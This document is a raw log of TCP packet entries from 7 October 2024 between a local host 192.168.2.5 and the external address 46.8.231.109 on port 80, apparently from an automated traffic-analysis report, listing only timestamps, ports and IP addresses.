Oct 7, 2024 17:22:05.955620050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955630064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955641031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955651045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955667019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.955684900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.955739021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955749989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955759048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955770016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955780029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955786943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.955790043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955801010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955811977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955821037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.955822945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.955853939 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956609964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956618071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956633091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956640959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956644058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956653118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956659079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956662893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956676960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956680059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956690073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956697941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956703901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956707954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956717968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956722021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956727028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956737995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956742048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956753016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956763029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956767082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956773996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956785917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956794024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956794024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956804037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956811905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956816912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956825972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956829071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956837893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956846952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956856012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956862926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956886053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956890106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956896067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956904888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956914902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956924915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956924915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956935883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956944942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956944942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.956967115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.956986904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957031965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957041025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957051039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957061052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957067966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957071066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957079887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957091093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957118988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957129002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957201004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957211018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957222939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957235098 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957238913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957248926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957257986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957262993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957264900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957273960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957283974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957295895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957313061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957329035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957541943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957551956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957561970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957571030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957576990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957581043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957583904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957588911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957603931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957612991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957622051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957627058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957633018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957643032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957653999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957665920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957665920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957676888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957685947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957685947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957696915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957704067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957706928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957716942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.957720995 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.957751989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958020926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958055019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958228111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958237886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958247900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958257914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958257914 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958266973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958273888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958275080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958286047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958296061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958300114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958307981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958317995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958327055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958333015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958337069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958352089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958363056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958364010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958373070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958380938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958383083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958391905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958401918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958410978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958411932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958420992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958430052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958437920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958451986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958455086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958462954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958466053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958472013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958482981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958493948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958502054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:05.958528042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958528042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958548069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:05.958548069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038172960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038188934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038198948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038252115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038261890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038275957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038291931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038331032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038332939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038346052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038356066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038367033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038373947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038377047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038393021 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038417101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038424969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038428068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038438082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038455009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038476944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038477898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038487911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038499117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038507938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038515091 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038537979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038625002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038635015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038645029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038655043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038666964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038666964 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038680077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038687944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038691998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038708925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038733006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038767099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038778067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038789034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038800955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.038817883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038826942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.038861036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039309978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039350986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039419889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039429903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039438963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039453030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039464951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039469004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039482117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039491892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039494038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039508104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039535046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039561987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039572001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039582968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039592028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039603949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039606094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039616108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039625883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039644003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039655924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039665937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039678097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039686918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039694071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039726019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039777994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039787054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039797068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039807081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039818048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039818048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039829016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039834976 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039851904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039871931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039876938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039899111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039907932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.039908886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.039938927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040023088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040033102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040044069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040054083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040065050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040081978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040107012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040174007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040184021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040194988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040205956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040209055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040215969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040224075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040225029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040235996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040246010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040254116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040273905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040292025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040302038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040313005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040322065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040327072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040359974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040499926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040510893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040520906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040529966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040539980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040544987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040550947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040560007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040563107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040570974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040581942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040591955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040592909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040604115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040613890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040621042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040628910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040640116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040640116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040651083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040656090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040683031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040848970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040859938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040869951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040879011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040889025 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040894032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040900946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040909052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040913105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040918112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040929079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040929079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040940046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040950060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040957928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040960073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040970087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040981054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.040987968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.040991068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041003942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041011095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041027069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041050911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041059971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041089058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041210890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041220903 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041232109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041243076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041250944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041253090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041264057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041275024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041285992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041285992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041296005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.041296959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041317940 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.041333914 CEST	49704	80	192.168.2.5	46.8.231.109
